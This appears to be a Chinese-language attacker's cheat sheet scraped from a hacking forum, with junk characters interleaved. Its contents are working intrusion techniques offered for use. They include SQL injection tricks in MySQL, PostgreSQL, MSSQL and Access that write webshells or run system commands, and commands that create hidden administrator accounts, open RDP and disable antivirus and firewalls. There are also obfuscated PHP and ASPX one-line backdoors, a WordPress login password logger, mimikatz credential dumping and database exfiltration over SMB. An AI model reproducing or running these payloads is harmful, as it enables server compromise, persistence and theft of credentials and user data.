+ {2 u n) U' }+ `/ A. }* Z2 g' L1 [+ j. N& q- B+ m' m
use test;
. Y4 n# ~ b. W+ Y9 T% @9 }create table a (cmd text);
[9 _* Z2 H% B, l: \insert into a values ("set wshshell=createobject (""wscript.shell"") " );" a/ S& o; W. A* C9 B- H" D
insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );" z5 ]8 Z5 s5 X I6 x6 s
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );
8 n3 m+ F Z/ o `# g2 w; C# Tselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
# i& `# _9 y! E' G! Y7 F z Wdrop table a;5 f; c4 W2 P4 x# W7 E' `
2 h. d1 \& H e' ^* v英文版本:5 ]4 F! E& R! E( h! ]* y0 T5 ^
3 ]: f |; Z# f1 \: v) W9 ?
use test;
) @& K* H- D4 _3 {+ dcreate table a (cmd text);2 t/ @7 @+ C6 ?
insert into a values ("set wshshell=createobject (""wscript.shell"") " );1 _/ K# @! s0 D/ R" \. a2 g v
insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );$ `4 Z+ ?# H; X( r n0 q
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );
8 O% `& q, s. T% j6 f: Xselect * from a into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\a.vbs";
/ @" z2 u9 `7 N5 @* O% Xdrop table a;; F* D3 N- V0 M; b D
* `% p0 ~4 ?" W" ]2 r2 Bcreate table a (cmd BLOB);
2 U- N7 l2 g: P% J: finsert into a values (CONVERT(木马的16进制代码,CHAR));, ^2 t3 t% \! C8 m
select * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\mm.exe'3 q/ L$ o9 ]! ]) ^7 I* j
drop table a;# G: k( i( X' m3 D" j7 Y i; ?
/ V# F m K7 m! B记录一下怎么处理变态诺顿
. P7 |! M4 d8 a) I }1 j查看诺顿服务的路径
/ z- c" I! N3 ], z, z: G5 {sc qc ccSetMgr
( x6 ?) |9 O9 S然后设置权限拒绝访问。做绝一点。。
; w. }$ O8 U* ~# J0 K% \cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d system1 H5 ]% \/ E8 w; F& Q$ i% v$ p) y
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d "CREATOR OWNER"
; h) k- l1 d9 y% ^0 i7 scacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d administrators
, v* M# L x) J# ucacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d everyone
r9 j' A9 @3 D. E, x/ P
" J p9 z( d7 }1 @9 N% F然后再重启服务器
4 p" y, W+ w! g$ K: [iisreset /reboot
5 d9 `# X4 ]3 k. ]1 u, ~3 o这样就搞定了。。不过完事后。记得恢复权限。。。。
' ?. L$ V+ p$ E; a% C2 \! `0 l' W$ vcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G system:F2 A+ O T3 r7 A9 l! u
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G "CREATOR OWNER":F
6 W) ]0 }! I' {* k$ ]cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G administrators:F. k) S1 h6 ^# K: n
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G everyone:F. c! g) ]# L1 N4 p0 O$ a
SELECT '<%eval(request(chr(35)))%>' into [fuck] in 'E:\asp.asp;fuck.xls' 'EXCEL 4.0;' from admin T C: a5 k( a3 W( s
0 x0 y) V) A* m# KEXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell ''net user'''), M* ]' N) |/ m. g
$ _& ^. N0 R8 N) E' q/ f0 c5 S1 F
postgresql注射的一些东西3 X a5 w- D: t- C$ X( }+ }8 ]6 Q
如何获得webshell
" K' g9 g m$ ~http://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null); ) n' O! p; J. n
http://127.0.0.1/postgresql.php?id=1;insert into fuck values($$<?php eval($_POST[cmd]);?>$$); / Q! g$ \% y( y5 C8 P) H# B
http://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$;' E$ K1 E% q8 I$ U' Z5 i/ j2 U! F
如何读文件: V- v1 d/ }1 Q2 i0 o& A
http://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT);& q: n$ a( T, I \8 _
http://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’;1 E& m( J5 }3 W1 N
http://127.0.0.1/postgresql.php?id=1;select * from myfile;
* }; t/ b% M' p6 y# @5 _" |& \ Q1 H j
z执行命令有两种方式,一种是需要自定义的lic函数支持,一种是用pl/python支持的。/ r) s% F4 M$ {7 \3 B0 m3 A' E0 p8 g
当然,这些的postgresql的数据库版本必须大于8.X
1 [/ A# |2 k' `! |创建一个system的函数:
: O u* y8 G* c2 O2 oCREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT
+ g$ |5 w+ v3 R0 _; S. }7 U3 |3 ]" N+ p8 G* Z7 y
创建一个输出表:$ F; C5 {7 g+ x v$ p
CREATE TABLE stdout(id serial, system_out text)
2 |$ r5 q4 A4 {) ]* s) l5 K& u+ s- f
执行shell,输出到输出表内:
- ?5 K4 U4 ~, ~- j" RSELECT system('uname -a > /tmp/test'); l+ t/ o5 [5 H2 R' A
# F' N' L% |0 s3 rcopy 输出的内容到表里面;. Z" I9 s: ^6 R
COPY stdout(system_out) FROM '/tmp/test'
C1 a: z, ?$ G7 s/ {& n
3 v$ x3 N& y/ H4 S从输出表内读取执行后的回显,判断是否执行成功
* `& x! N& F! }' I
/ N# G: n2 B* M; u8 u# J7 r) ISELECT system_out FROM stdout% d4 c( L. ?5 C( \2 x2 R
下面是测试例子
( V0 x( \$ p7 @. ?7 Q6 ]
1 R4 n, J0 G. U$ I# L/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --
% \# k5 y1 N: @& K
4 G# G9 t& y5 j* }/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
9 Z0 h w5 R" `7 c: Q; A' J7 N" DSTRICT --
/ ~, F2 a; t+ ~1 @6 v; m; V$ H/ W0 g4 K. d
/store.php?id=1; SELECT system('uname -a > /tmp/test') --5 W! O: J/ R5 ^. {. d2 ^
9 U& F' o8 q( u( b |5 S& \: n. F G( p/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --
# J' Y# _# ^. F: h% j2 f7 d$ x1 G+ b; C+ c5 q2 l) W% c) c
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--. Q# y, h2 H& v; X
net stop sharedaccess stop the default firewall% \) l- m1 g1 Z# O7 w" m- i
netsh firewall show show/config default firewall( r, `0 D( H7 c4 F: t
netsh firewall set notifications disable disable the notify when the program is disabled by the default firewall
4 I! I& e0 L# F. g+ K, }0 hnetsh firewall add allowedprogram c:\1.exe Svchost add the program which is allowed by default firewall
: A8 }3 k6 C; `) z. B9 y3 K. P- B修改3389端口方法(修改后不易被扫出)( M5 j- ?& B5 C; ~" {- L" g
修改服务器端的端口设置,注册表有2个地方需要修改
4 Z9 ]/ d. `0 Y) Z; L! F5 ]8 t* a/ Y$ t8 G% \
[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Wds\\rdpwd\\Tds\\tcp]
% d d/ }! z6 S- j& PPortNumber值,默认是3389,修改成所希望的端口,比如6000
7 ]6 P# u7 z) z) i# o& z( M+ G; |4 \" h$ w/ ~0 P' Y" h8 c* W7 }
第二个地方:
. _* \* \: k+ x" `1 K0 b; r[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp]
; F6 p( n' i6 a% F- H$ d7 OPortNumber值,默认是3389,修改成所希望的端口,比如60006 J! f; c) B2 {9 f
0 U- |$ v! U& Z, u* x% L现在这样就可以了。重启系统就可以了
! ^" s1 A4 s3 V+ D8 J3 n! {' r; X2 x* v
查看3389远程登录的脚本
/ j! D, m; g8 D- M/ [: j2 Q% N" y% T保存为一个bat文件/ t5 O2 C/ l7 E& e2 W. o1 m
date /t >>D:\sec\TSlog\ts.log, |$ w! a8 @* X
time /t >>D:\sec\TSlog\ts.log
' a; B( O. P* o' \" d! y6 }netstat -n -p tcp | find ":3389">>D:\sec\TSlog\ts.log
6 ]! g5 Y' {1 Z) B6 U! Pstart Explorer
% U7 ?8 n& J' P% C* C! n$ @
9 Q* b* @( Z; \, `* Qmstsc的参数:( K+ u3 y* c. G( H1 e% X% w: o
1 N3 F3 T1 y& p
远程桌面连接
t% t: B+ ?0 W) I. `0 o3 t# E- L: |9 K" \7 {9 B
MSTSC [<Connection File>] [/v:<server[:port]>] [/console] [/f[ullscreen]]6 s. o) w0 \( z h1 g
[/w:<width> /h:<height>] | /Edit"ConnectionFile" | /Migrate | /?6 x! O o, ]8 f) v& K! e
3 L& ?3 H% x; ]+ D. k; K* X<Connection File> -- 指定连接的 .rdp 文件的名称。$ y) M. z3 H, c0 j
6 y# z' U/ N- r: A, y/v:<server[:port]> -- 指定要连接到的终端服务器。- M& K. m6 z2 [; S; q. U
' X) x# [, a+ K: s/ o/console -- 连接到服务器的控制台会话。
7 d |3 @, p4 l: K; k* h+ l) [0 X* D' e* r* |% T2 _2 @8 C3 h5 u
/f -- 以全屏模式启动客户端。- Y+ @4 ~" Z. W0 M- q, F
" P' v3 C" k& x: D) o' \+ J# `7 r3 Q
/w:<width> -- 指定远程桌面屏幕的宽度。
9 t9 ~7 B4 |/ b+ A, e3 L! ]
; l5 r$ M# n7 ~& R1 ~0 A/h:<height> -- 指定远程桌面屏幕的高度。$ f- @- L: p* z/ V) Q& K
$ u, g6 L! F' [! E! |4 C
/edit -- 打开指定的 .rdp 文件来编辑。: _9 T% A6 q4 ]; J5 s6 ~
# d& t! j" n+ I! a2 n; @/migrate -- 将客户端连接管理器创建的旧版# j" R) ]- T: a/ A4 k
连接文件迁移到新的 .rdp 连接文件。
5 Q7 l2 O! F% Z! U+ p6 B/ z, y' j3 ~
+ ~! Z5 T; ~! T) Q% i; x4 u% R其中mstsc /console连接的是session 0,而mstsc是另外打开一个虚拟的session,这样的话就是相当与另外登陆计算机。也就是说带console参数连接的是显示器显示的桌面。大家可以试试啊,有的时候用得着的,特别是一些软件就/ k: E& r% ]) G# T: b
mstsc /console /v:124.42.126.xxx 突破终端访问限制数量
; A$ o' {! Y; ^; x9 e) {* |# b5 C; e: {" ]# i0 z. j, D6 z0 h& ]
命令行下开启3389
- A# N. y P: N: {7 F& ~net user asp.net aspnet /add
6 ^- Q" e. I8 B3 R9 }2 jnet localgroup Administrators asp.net /add
0 Z* e; B0 V5 \" Pnet localgroup "Remote Desktop Users" asp.net /add1 w: v# G# C- U1 m: G @, U
attrib +h "%SYSTEMDRIVE%\Documents and Settings\asp.net" /S /D
+ b) f1 c# ` q4 b7 t5 i" E( A2 d4 iecho Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d 0
- W* k/ A% [1 ^3 Yecho Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v AllowTSConnections /t reg_dword /d 1+ e/ P( h! y5 | J
echo Y | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "asp.net" /t REG_DWORD /d 00000000 /f( F' I0 `1 l5 L
sc config rasman start= auto' b! G9 {* d0 |0 }- e+ a
sc config remoteaccess start= auto) M2 y4 V* w# ~) u" V/ p7 { P
net start rasman. {$ j; N" \- @
net start remoteaccess
( g9 Q' T4 N9 X$ n" f1 WMedia
: ]( l# w* A# F$ I<form id="frmUpload" enctype="multipart/form-data"
) X: X3 u+ U4 Z+ t ^6 g8 Waction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
) h5 M5 t: E' u. X) Q/ E; q6 o<input type="file" name="NewFile" size="50"><br>
" U* ?1 `% j# t<input id="btnUpload" type="submit" value="Upload">' N h0 D+ d3 O* Z3 u4 B
</form>
8 M, W1 ^' u& N5 b! N5 W# G
7 s G$ U6 \' H' }- Z+ z- y6 Hcontrol userpasswords2 查看用户的密码
- ]9 o( M' H$ n- G2 B1 {7 jaccess数据库直接导出为shell,前提a表在access中存在。知道网站的真实路径
5 A4 `9 K8 u$ i* p: d5 }6 xSELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a4 b2 w" z# w: r. z7 q
0 f7 ?( ^0 M) a: g N: K' f3 r141、平时手工MSSQL注入的时候如果不能反弹写入,那么大多数都是把记录一条一条读出来,这样太累了,这里给出1条语句能读出所有数据:
1 h/ u2 F4 K N% v1 O& `测试1:" }- c) j4 [$ K. ~5 K1 P
SELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1. J$ t( d8 T5 q. i+ {6 g
% T6 _, r3 f- n
测试2:
" V9 D! r2 Q0 v! o) m: T$ y7 s! z: |$ ~2 B- b( f& ]2 J
create table dirs(paths varchar(100),paths1 varchar(100), id int)& S- [% S1 C9 G$ t) C. V h1 i" P
. Y0 l6 c# }" M$ ?5 J k
delete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--
7 ?) \/ ^# p# n! L6 b! E% x2 B4 [4 N5 [' r# P2 V5 i4 ~, N3 S4 @( v
SELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t17 Z9 ]6 F4 _( k/ S: N
关闭macfee软件的方法://需要system权限,请使用at或psexec –s cmd.exe命令 H# s/ P2 \4 ?4 E9 L
可以上传.com类型的文件,如nc.com来绕过macfee可执行限制;
- @ Q8 J1 A# }. x8 enet stop mcafeeframework- m0 s; M4 ]0 h0 t8 e
net stop mcshield+ m: m6 I" G0 f
net stop mcafeeengineservice5 V! \. Q+ W. ]* Q+ I
net stop mctaskmanager
' A: `. j# ~& u9 C( e8 Q$ dhttp://www.antian365.com/forum.p ... DU5Nzl8NDY5Mw%3D%3D
; j9 x K" h, _; e2 v
; V* d0 L2 x1 a0 v VNCDump.zip (4.76 KB, 下载次数: 1)
( T2 G" v, P" m密码在线破解http://tools88.com/safe/vnc.php
) g' a6 [0 |" W3 Z/ M \VNC密码可以通过vncdump 直接获取,通过dos查询[HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4] 下的Password也可以获取
! \- O) r- L; X4 O
+ D" K6 V1 z: E# ]; i$ nexec master..xp_cmdshell 'net user'/ f8 |8 r: }' S2 U- Y# a; ?- H! }
mssql执行命令。. `$ {; y6 _1 D% R! k9 r3 h
获取mssql的密码hash查询& ?8 i$ N! a: W/ B& O
select name,password from master.dbo.sysxlogins8 y! [! M9 Y3 z& e G
6 `% W+ b/ S% {3 S
backup log dbName with NO_LOG;7 I" L8 H2 B! X% Q: N% m' y. p. T
backup log dbName with TRUNCATE_ONLY;/ v; ~7 z* w# e( P r0 ]
DBCC SHRINKDATABASE(dbName);3 G& ~4 J6 w4 F) B# T W9 t
mssql数据库压缩. r& V( R6 D* ~( G; t& @
. C# R/ Q# ^# Y- c( _4 ZRar.exe a -ep1 -m0 -v200m E:\web\1.rar E:\webbackup\game_db_201107170400.BAK& b7 D& t2 r; I& m' U
将game_db_201107170400.BAK文件压缩为1.rar,大小为200M的分卷文件。
# Y$ R% B J% j+ U3 F3 q* r* W; ?, S; Y
, h( A: p# I. i: E# E( C1 j8 `backup database game to disk='D:\WebSites\game.com\UpFileList\game.bak'
$ Z6 n8 ` D$ o8 G! k备份game数据库为game.bak,路径为D:\WebSites\game.com\UpFileList\game.bak
3 w6 ^6 I8 W/ ?0 @4 ]+ |
# k l' O" c6 ^0 u! RDiscuz!nt35渗透要点:; L- Z$ ~/ E/ m% K# l- H, u. h
(1)访问 网站地址/admin/global/global_templatesedit.aspx?path=../tools/&filename=rss.aspx&templateid=1&templatename=Default
: \- l: Z9 h$ Y(2)打开rss.aspx文件,将<%@ Page Inherits="Discuz.Web.UI.RssPage" %>复制到本地备份,然后替换其为<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
, v& U1 Y5 Q- R& X2 s! M( H9 x) c. r(3)保存。7 n: E; |% s& W
(4)一句话后门地址http://somesite.com.cn/tools/rss.aspx 密码为pass# L( g3 B, t- Z6 t/ H0 p
d:\rar.exe a -r d:\1.rar d:\website\& F( T. M9 J0 H8 L- |
递归压缩website |+ w! i, V- G! h# l, N
注意rar.exe的路径
* b) O* v% P* a5 I
/ }3 \+ ^. u$ z3 e! ^ q+ |<?php/ S; x1 j! F9 n- I% W- I
7 `/ Z$ w' V. O0 L
$telok = "0${@eval($_POST[xxoo])}";
7 O: z4 {+ h. R9 _) K7 U
3 l) l7 j8 u8 F/ g" Q( m, z/ g$username = "123456";
( a$ I7 R4 ?# R# _( v: H+ Q. m& l. `' x8 A4 J5 S2 J2 h5 \
$userpwd = "123456";/ a- X% F9 T4 X
& m0 n7 {7 H7 J1 } F u# J( w$ v
$telhao = "123456";! X4 \$ O, a9 `# S
+ T- I: b4 x! v' D, H* K$telinfo = "123456";
- j/ Q, l o3 L" i5 t/ U5 L$ y* w
' d) Z/ w% p8 b9 I4 t: O$ ]?>
7 b0 u, C$ K; c7 w, ]php一句话未过滤插入一句话木马
$ y7 }9 l( {0 C% X! m# u; Q0 ?. v! l h, T
站库分离脱裤技巧& z( {$ X" L' N* y# b0 b
exec master..xp_cmdshell 'net use \\xx.xx.xx.xx\d$\test "pass" /user:"user"'. I7 v- v: m% a. C. X
exec master..xp_cmdshell 'bcp test.dbo.test out \\xx.xx.xx.xx\d$\test\1.txt -c -Slocalhost -Uuser -Ppass'
* ^8 E3 H' n6 _4 a1 x5 w0 u1 o: a5 Z条件限制写不了大马,只有一个一句话,其实要实现什么完全够了,只是很不直观方便啊,比如tuo库。1 \6 |$ `, ?; `: t, m% C+ p4 y9 R
这儿利用的是马儿的专家模式(自己写代码)。, O6 R& s+ d) a% w4 m
ini_set('display_errors', 1);7 }9 C6 s& G* H2 b0 a6 |
set_time_limit(0);
$ e. s# ?; F+ J3 qerror_reporting(E_ALL);5 |! ]4 q |' \5 t, b$ E* H
$connx = mysql_connect(":/var/tmp/mysql.sock", "forum", "xx!!xx3") or die("Could not connect: " . mysql_error());6 \+ X+ y6 a! E4 N
mysql_select_db("discuz",$connx) or die("Could not connect: " . mysql_error());3 f" v2 E/ z' D" ]/ ^; V
$result = mysql_query("Select * FROM members",$connx) or die("Could not connect: " . mysql_error());( U5 N8 L; E1 Y0 C
$i = 0;
, W9 R& w& e6 e% T( t) V$tmp = '';
% A) s5 J# C1 d: B3 p, c+ fwhile ($row = mysql_fetch_array($result, MYSQL_NUM)) {
: ]! H- f5 o/ Z& Y; ?1 u" z $i = $i+1;
' Y, \1 `5 P) a5 e $tmp .= implode("::", $row)."\n";7 X$ y8 d+ P t- r# q5 N
if(!($i%500)){//500条写入一个文件$ P. r1 |- ~- `3 l+ B
$filename = '/home/httpd/bbs.xxxxx/forumdata/cache/user'.intval($i/500).'.txt';
+ h1 ^4 M7 v- A: r) d+ o, ~4 j, `9 c file_put_contents($filename,$tmp);
" U: ?+ c# z6 q3 H2 Y; U0 g $tmp = '';
6 C* T5 C/ J1 [2 `: N. Q* V/ {# q }
) W6 T+ N9 T. z( o' m& d, V* j}, y: S3 }% r$ q: ^
mysql_free_result($result);; C! t1 R8 T. j6 l6 }) B! f
( [" C2 @/ J4 \ ]4 ]
; y% `( h: X' N6 ]% u
9 n) d) f' l8 P5 y# @
//down完后delete) P1 p' E8 R* k% G* z8 |* h$ G
7 n! q' x$ T$ v
4 R: K& V2 O4 [# V
ini_set('display_errors', 1);% y/ T" I7 N1 L6 ~- T9 B$ ]2 t
error_reporting(E_ALL);
4 ]. Z5 P# z* S+ |8 q, y$i = 0;: g4 m1 j V8 e
while($i<32) {$ b, [9 i, @, O9 ]' D9 ?( [& `
$i = $i+1;- N' k# c0 r9 g ?! q: ]) k
$filename = '/home/httpd/bbs.xxxx/forumdata/cache/user'.$i.'.txt';! e) S2 `2 D; ]5 W7 g
unlink($filename);% {: R; Z) S+ M; n$ O
} & K: h! q- n4 f+ c% b \' j* `8 l
httprint 收集操作系统指纹5 ?1 F1 Y) H- W9 C3 B. U0 h
扫描192.168.1.100的所有端口0 |1 T8 F7 W! k. A. x% Y# n
nmap –PN –sT –sV –p0-65535 192.168.1.1006 w B- f$ k$ U, }/ j7 D2 k
host -t ns www.owasp.org 识别的名称服务器,获取dns信息
6 ~3 t6 w4 P: a/ q9 e) whost -l www.owasp.org ns1.secure.net 可以尝试请求用于owasp.org的区域传输* H' V/ d3 ~$ f4 L) K) a3 g: W
Netcraft的DNS搜索服务,地址http://searchdns.netcraft.com/?host
7 }3 _+ P6 }% b& w2 r: s7 R
* ]; a# ^$ \! ]+ kDomain tools reverse IP: http://www.domaintools.com/reverse-ip/ (需要免费注册)
3 |0 Z# i; K" Z5 U3 H2 S
) I$ J& R: ?8 R" I9 H: e MSN search: http://search.msn.com 语法: "ip:x.x.x.x" (没有引号). U+ H( m$ a/ O% U+ f* }6 T6 g9 y
2 p3 A, o% K; D. S Webhosting info: http://whois.webhosting.info/ 语法: http://whois.webhosting.info/x.x.x.x6 F8 b9 v( q3 B' n# I
: @" K- b# {0 N& F5 M( ] DNSstuff: http://www.dnsstuff.com/ (有多种服务可用)( y/ K6 m7 y( x* p& `) T
& p* Y5 a8 c1 g http://net-square.com/msnpawn/index.shtml (要求安装)
; C) W: s6 V5 I' M# y# W
3 W: T) O7 b* d7 }! d2 E8 D4 E: | tomDNS: http://www.tomdns.net/ (一些服务仍然是非公开的)
: c! |& T7 @% F' g6 c. s1 H; A" V7 B) B0 z/ F' J
SEOlogs.com: http://www.seologs.com/ip-domains.html (反向IP/域名查找)
1 W& w( C- M1 M* c r6 L0 @set names gb2312* {( h% Z- k6 v
导入数据库显示“Data too long for column 'username' at row 1”错误。原因是不支持中文。
* h* A# a2 a9 I, P2 _& [4 i5 E$ c- l
mysql 密码修改. k6 T% x/ p) V6 I) P# u
UPDATE mysql.user SET password=PASSWORD("newpass") whereuser="mysqladmin ”
/ o' m6 `. {/ w' m& qupdate user set password=PASSWORD('antian365.com') where user='root';
! } W2 T6 g' z( x$ Wflush privileges;# {- e1 Y* k3 `" M3 {" c
高级的PHP一句话木马后门) }' m- H3 u* h8 z, D: H$ F6 M! W
4 L% B5 @. m) R; k; [" Q
入侵过程发现很多高级的PHP一句话木马。记录下来,以后可以根据关键字查杀* Y. ^3 C! p* `: o$ k: T6 ~: Y
5 X/ Z. n0 d" \3 O3 a% `1、; I" U9 E" B6 w' S. J; M% f0 I
# E/ z! b# s2 y. l$ w/ v$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";5 G5 Z% v# b' e, U9 L; s
% b _0 P# s0 Y3 @2 E6 o$ N
$hh("/[discuz]/e",$_POST['h'],"Access");, X3 h4 S. X8 S Y7 p
5 G7 j( w1 g' g* d! @2 X//菜刀一句话' A6 `5 B( R9 h. l5 [( z
. @; `: M; \: w- h
2、
" o" N5 y3 C" d+ Y r
( J1 v6 o& l+ X7 H$filename=$_GET['xbid'];
: u4 N) ?, Y7 P4 g" L. \+ u* S- p! Y: \ q/ v8 ^# e1 z( c
include ($filename);. z: Y' Q$ n# D9 U; A
: _" X8 m: {' z
//危险的include函数,直接编译任何文件为php格式运行
' H6 i* a% G/ t+ e y, D! h% B5 e! u7 ~7 o1 J+ `3 z
3、3 J& B. C' Y- \3 R6 r; U3 m$ t1 J
, Q- V& ?" e; q/ X8 \/ t# k$reg="c"."o"."p"."y";
5 L, Z, Q% |* Q* K2 k
/ [8 n2 n3 `; X4 }0 H- B3 T$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
& j/ R0 n5 B, I8 ?9 S% x- b7 J! W1 l0 y5 s0 K5 h9 a P% n, n7 x
//重命名任何文件
# ^5 ^2 V# J7 ^$ W, ^- @. x8 f2 X5 ^/ f
4、
) I6 g* W) M% d4 b9 Z! u6 g0 k: C8 Y, y0 a) F4 {" s& i6 {/ e
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
+ x2 N) ]1 ^* e3 r7 t
) i/ d) L% m7 ], [' e7 e* S, x$gzid("/[discuz]/e",$_POST['h'],"Access");
4 P" {: T' e0 f* ?7 p
4 u8 ^3 d0 s2 D4 k1 {//菜刀一句话
- w) s1 C, A9 d6 I9 U
# h$ r, r5 a3 J, A( {+ F5、include ($uid);& D9 S- `. R: O: O) k
( O7 z7 P! |7 X6 j, }; f: k# d//危险的include函数,直接编译任何文件为php格式运行,POST 4 U7 Z/ E N* o6 _- _
' J# E% }$ B- f# u9 U
4 L6 t4 T9 T" j5 R//gif插一句话3 B* C4 E9 h7 w
4 Y( K# K# A* r* H, ~ K
6、典型一句话8 l* }" T7 E) b: x6 O% R& D0 ?* C5 E
" K) J; H7 {7 V9 z1 H1 k
程序后门代码; g% O% w% b' l2 j. z. [3 v
<?php eval_r($_POST[sb])?>6 R2 ]$ N6 F2 F M' e) Z9 E
程序代码' j( R* a( I1 u, d
<?php @eval_r($_POST[sb])?>9 D4 H% |( O) a! F( r1 D
//容错代码) V! F4 d7 O8 w/ b3 y1 O1 @
程序代码1 Z/ E' M+ w5 {: u
<?php assert($_POST[sb]);?>
+ A& B. H+ O' {- ^//使用lanker一句话客户端的专家模式执行相关的php语句
" j3 c6 A# H1 c. t( g程序代码 ]1 i$ g Q/ S3 j; m& ]9 P
<?$_POST['sa']($_POST['sb']);?>
o# _; Q$ v' h4 q! F$ {" l! f程序代码 g7 P2 e/ Q2 }" Y
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?> P* V/ [9 ~) T- J
程序代码3 e7 ~7 r2 z& d& c! k: s- S6 [
<?php/ q6 ^4 o- u. G6 d0 Z
@preg_replace("/[email]/e",$_POST['h'],"error");4 Q! m; z) r1 u
?>. Q. j8 I4 l! D" q1 q8 l& T
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入2 P; c2 I3 r: Y- P2 d
程序代码( t* P' l! |) W9 Q l8 L
<O>h=@eval_r($_POST[c]);</O>
+ |2 G4 f( I* D9 Z0 `* G程序代码
, D1 m+ q" F% s% `<script language="php">@eval_r($_POST[sb])</script>9 l. s9 W) m' d! U2 g; c9 f
//绕过<?限制的一句话
" g- L8 o) G! v$ }' S
: L& \4 c U7 F# Zhttp://blog.gentilkiwi.com/downloads/mimikatz_trunk.zip
1 ~1 ~5 V' O( j- I# P: T g! J. `详细用法:
' Y6 a9 y6 m3 t& q) m1、到tools目录。psexec \\127.0.0.1 cmd4 p* Q+ X% s" g7 F3 R' b5 g
2、执行mimikatz
( Y2 p- T+ K+ f0 q7 T. M3、执行 privilege::debug$ ^4 ~: i/ I! c' c
4、执行 inject::process lsass.exe sekurlsa.dll- _& W+ T+ ^) x Y' r2 s0 C P/ J
5、执行@getLogonPasswords5 C k) F6 y7 t+ {5 s: m
6、widget就是密码5 k! F( e3 O% [% |
7、exit退出,不要直接关闭否则系统会崩溃。
1 Z) b* [; w: \( k( J
3 Y8 p+ \5 W- Vhttp://www.monyer.com/demo/monyerjs/ js解码网站比较全面( A3 `5 T! z# v6 g) \& g5 P% t9 E
2 m2 i: J# w6 F* T! a" |7 q自动查找系统高危补丁
$ G9 X1 F* u, ^2 Csysteminfo>a.txt&(for %i in (KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 kb942831 KB2503665 KB2592799) do @type a.txt|@find /i "%i"||@echo %i Not Installed!)&del /f /q /a a.txt
& `$ F1 _, f* W1 Y: ?0 m" h& B
突破安全狗的一句话aspx后门
' r, M+ ^+ {' j1 I7 Z* `% H<%@ Page Language="C#" ValidateRequest="false" %>
* }, s. r" ?" K( D<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["你的密码"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>
' `1 G' D) `/ n+ v& v# v% _webshell下记录WordPress登陆密码4 j* P7 A J; Z( v7 f6 ~
webshell下记录Wordpress登陆密码方便进一步社工
1 {( X' e% ^6 H- {3 b; }4 x- x在文件wp-login.php中539行处添加:5 p' s, w2 r; P6 W0 N
// log password
# `- ~# C6 | Z- a9 l5 d/ G$log_user=$_POST['log'];( n" _: {( e1 s A7 x+ n
$log_pwd=$_POST['pwd'];2 [% U3 M( [) V; H( u9 {
$log_ip=$_SERVER["REMOTE_ADDR"];
u D5 \( H! k* d* S- R1 [$txt=$log_user.’|’.$log_pwd.’|’.$log_ip;
$ Q6 O- B$ u: u; \; w, F$txt=$txt.”\r\n”;
( z0 X. a3 ^' s. C. y5 _+ a5 Iif($log_user&&$log_pwd&&$log_ip){$ _& H7 i2 o8 O0 S6 ?" P o: ]3 Q7 z
@fwrite(fopen(‘pwd.txt’,”a+”),$txt);
; z/ l; j% q5 [- r3 v4 t}
. {/ o* V& c8 p! Q3 |- C当action=login的时候会触发记录密码code,当然了你也可以在switch…case..语句中的default中写该代码。
